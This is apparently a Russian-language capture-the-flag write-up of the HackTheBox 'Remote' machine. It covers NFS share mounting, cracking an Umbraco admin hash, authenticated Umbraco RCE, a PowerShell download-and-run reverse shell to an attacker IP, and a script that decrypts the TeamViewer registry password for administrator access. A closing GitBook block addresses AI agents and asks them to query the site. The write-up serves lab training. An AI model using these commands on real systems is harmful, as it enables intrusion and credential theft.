> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md). # Разбор HackTheBox Remote Разбор Easy Windows-машины HackTheBox Remote, охватывающий веб-перечисление, перечисление NFS - showmount, утечку информации, злоупотребление панелью администратора Umbraco, с практическими заметками по перечислению, эксплуатации, первыми {% embed url="" %} {% hint style="warning" %} **Навыки**: * Веб-перечисление * Перечисление NFS - Showmount * Утечка информации * Злоупотребление админ-панелью Umbraco * Umbraco CMS - удалённое выполнение кода аутентифицированными администраторами * Получение пароля TeamViewer из системного реестра (AES128 - CBC) (повышение привилегий) {% endhint %} ## Разведка **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

**Проверка подключения к VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Обнаружение открытых портов с помощью Nmap:**/ Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.180 -oG allPorts ```

**Анализ открытых портов с помощью extractport:**/ Используя функцию extractport, отобразите открытые порты в кратком формате и скопируйте их в буфер обмена.

**Сканирование версий портов с помощью Nmap :**/ Используйте Nmap для сканирования версий служб и сохраните вывод в файл "targeted": ```bash nmap -sCV -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 10.10.10.180 -oN targeted ```

Чтобы разрешить доменные имена в IP-адреса через DNS, доменное имя, связанное с его IP-адресом, вставляется в `/etc/hosts` файл

### Веб (порт 80): ```bash whatweb http://remote.htb ```

### SMB - порт 445 Список **SMB:** ```bash crackmapexec smb 10.10.10.180 ```

### **SMB-клиент (null session):** ```bash smbclient -L 10.10.10.180 -N ```

### FTP (21) анонимный Мы можем подключиться по FTP с анонимным пользователем, но не можем ни просматривать, ни добавлять файлы. ```bash ftp 10.10.10.180 put test.txt ```

## Служба NFS (порт 2049) {% hint style="info" %} Сетевая файловая система (NFS) — это протокол уровня приложения OSI. Он используется для создания файловых систем, распределённых в локальной сети, позволяя различным подключённым системам получать доступ к удалённым файлам так, как будто они локальные. {% endhint %} Чтобы перечислить файлы с помощью `mount`: ```bash showmount -e 10.10.10.180 ``` Мы видим `/site_backups` который виден всем.

Чтобы подключить этот файл, нужно создать каталог и смонтировать его на нашей машине следующим образом: ```bash mkdir /mnt/mounted_files mount -t nfs 10.10.10.180:/site_backups /mnt/mounted_files ```

С `tree`, мы перечислим все папки в дереве, чтобы получить представление: ``` tree -L 2 ``` Мы видим `.config` конфигурация и `sdf` папка из базы данных Umbraco (CMS) порта 80.

Эта `.conf` файл не содержит ничего интересного, а `umbraco.sdf` является двоичным файлом.

Мы будем использовать `strings` чтобы отобразить видимые символы и поместить их в наш каталог для детального анализа: ```bash strings Umbraco.sdf > /home/jordan/Desktop/htb/remote/content/output ``` Мы находим пароли "admin" и пользователя "smith".

### Подбор пароля: Admin (хэш): `b8be16afba8c314ad33d812f22a04991b90e2aaa` {% embed url="" %}

Admin: `baconandcheese` #### Поскольку SMB доступен, используем CrackMapExec для аутентификации и проверки доступа ```bash crackmapexec smb 10.10.10.180 -u 'smith' -p 'baconandcheese' crackmapexec smb 10.10.10.180 -u 'administrator' -p 'baconandcheese' ``` #### никакого эффекта

## Уязвимость RCE (Umbraco CMS) Мы находим панель администрирования и попробуем аутентификацию пользователя admin: `admin@htb.local:baconandcheese`

У нас есть доступ.

Мы будем искать `Searchsploit` уязвимости этого CMS и находим скрипт NCE для Umbraco.

`searchsploit -m aspx/webapps/46153.py` Мы изменим в скрипте параметры логина, пароля и хоста.

**Проверим соединение с помощью ping:**/ Мы выполним эту команду на сервере и будем прослушивать с помощью tcpdump ```bash /c ping 10.10.14.6 tcpdump -i tun0 icmp ```

Как только увидим, что можем выполнять команды, мы загрузим `PS.ps1` скрипт на нашу машину. {% embed url="" %} В конце скрипта мы добавляем следующую строку: ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444 ```

Мы создадим веб-сервер с помощью `PS.ps1` скрипта: ```bash python3 -m http.server 80 ``` Затем изменим команду, чтобы она указывала на наш веб-сервер: {% code fullWidth="true" %} ``` /c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/') ``` {% endcode %} Наконец, прослушаем порт 4444: ```bash rlwrap nc -nlvp 4444 ```

Доступ к `файл user.txt` файл и обнаруживаем, что TeamViewer установлен

## Повышение привилегий: Если посмотреть на запущенные задачи, можно увидеть TeamViewer версии 7. ```powershell tasklist /svc ```

Ища в скриптах Metasploit, мы находим один, который может получить пароль TeamViewer: ```powershell locate teamviewer | grep metasploit ```

При анализе скрипта сначала нужно получить ключ (в зависимости от версии) из реестра: `HKLM/SOFTWARE/WOW6432Node/TeamViewer/Version7', 'Version` Далее следует изучить свойства безопасности, особенно пароль AES: ```powershell cd HKLM:SOFTWARE/WOW6432Node/TeamViewer//Version7 (Get-ItemProperty .).SecurityPasswordAES ```

Поместите следующие байты в `ciphertext`: `255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91` ### Скрипт автоматизации на Python: Вот скрипт, автоматизирующий весь процесс: ```python from itertools import product from Crypto.Cipher import AES import Crypto.Cipher.AES IV = b"/x01/x00/x01/x00/x67/x24/x4F/x43/x6E/x67/x62/xF2/x5E/xA8/xD7/x04" key = b"/x06/x02/x00/x00/x00/xa4/x00/x00/x52/x53/x41/x31/x00/x04/x00/x00" decipher = AES.new(key,AES.MODE_CBC,IV) ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91]) plaintext = decipher.decrypt(ciphertext).decode() print(plaintext) ```

Пароль `!R3m0te!`. Мы проверим с помощью CrackMapExec, верен ли пароль для пользователя `Administrator`: ```bash crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!' ```

Мы подключаемся с помощью Evil-WinRM, так как служба удалённого администрирования Windows активна на порту 5985:

evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'

### Флаг root. Финал :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.